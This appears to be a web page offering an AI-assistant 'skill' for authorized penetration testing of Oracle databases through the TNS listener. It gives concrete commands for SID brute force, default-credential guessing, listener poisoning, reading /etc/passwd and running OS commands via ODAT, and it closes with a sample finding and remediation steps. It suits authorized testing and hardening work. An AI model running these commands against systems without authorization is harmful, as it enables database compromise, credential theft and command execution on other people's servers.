Testing Oracle Database via the TNS Listener (default ports 1521, plus secondary listeners 1522-1529) for SID disclosure/bruteforce, default and weak account credentials, TNS listener misconfiguration and poisoning, and ODAT-driven file read/write and OS command-execution primitives during authorized engagements.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Testing Oracle Database via the TNS Listener (default ports 1521, plus secondary listeners 1522-1529) for SID disclosure/bruteforce, default and weak account credentials, TNS listener misconfiguration and poisoning, and ODAT-driven file read/write and OS command-execution primitives during authorized engagements.
How to CONFIRM: sqlplus system/manager@<IP>:1521/<SID> connects, or ./odat passwordguesser reports valid pairs.
TNS listener with no password / TNS poison (CVE-2012-1675) — an unauthenticated listener can be queried/reconfigured; TNS poisoning lets an attacker register a rogue instance and MITM sessions.
How to CONFIRM: tnscmd10g status -h <IP> returns listener details without a password; check listener version against CVE-2012-1675.
File read/write + OS command execution via ODAT — with a valid DB account, abuse UTL_FILE (read/write files), external tables, DBMS_SCHEDULER/Java stored procedures (run OS commands), and UTL_HTTP/UTL_TCP for SSRF.
How to CONFIRM: ./odat utlfile -s <IP> -d <SID> -U <user> -P <pass> --getFile /tmp x /etc/passwd retrieves a file; ./odat externaltable ... --exec ... or ./odat dbmsscheduler ... --exec runs a command.
Privilege escalation via PUBLIC/EXECUTE grants — over-granted packages (DBMS_*) let low-priv users escalate to DBA.
Workflow
Step 1: Enumerate (version, SID, accounts)
nmap --script oracle-tns-version,oracle-sid-brute -p1521 <IP>
./odat sidguesser -s <IP> -p 1521
# Once a SID is known, fingerprint accessible accounts
./odat passwordguesser -s <IP> -p 1521 -d <SID> --accounts-file accounts.txt
Brute force oracle-listener / oracle-sid services.
Hashcat / John
Crack dumped sys.user$ hashes (modes 3100 / 112).
Common Scenarios
Scenario 1: SID brute → default creds → data dump
oracle-sid-brute reveals SID XE. sqlplus system/manager@<IP>:1521/XE connects with the default password, and the tester dumps application tables and sys.user$ hashes.
Scenario 2: Valid account → OS command execution
With a low-priv DB account, ODAT's external-table module writes a script to disk and executes it (./odat externaltable ... --exec), returning command output as the Oracle OS user.
Scenario 3: Unauthenticated listener → poisoning
An old listener answers tnscmd10g status without a password and is vulnerable to CVE-2012-1675, allowing a rogue instance to be registered and client sessions to be intercepted.
Output Format
## Oracle Finding
**Service**: Oracle TNS Listener
**Port**: 1521/tcp (Oracle 11g, SID=XE)
**Severity**: Critical
**Finding**: Default SYSTEM credentials enabling file read and OS command execution
**Evidence**:
- nmap oracle-sid-brute -> SID "XE"
- sqlplus system/manager@<IP>:1521/XE -> connected
- ./odat externaltable -s <IP> -d XE -U system -P manager --exec /tmp id -> uid=54321(oracle)
**Impact**: Full database compromise plus OS command execution as the Oracle service account.
**Recommendation**:
1. Change all default account passwords; lock/expire unused accounts (scott, dbsnmp, outln).
2. Set a listener password and apply patches for CVE-2012-1675 (enable Valid Node Checking).
3. Restrict 1521-1529 by firewall/source IP.
4. Revoke EXECUTE on UTL_FILE / DBMS_SCHEDULER / Java from PUBLIC and least-privilege app accounts.
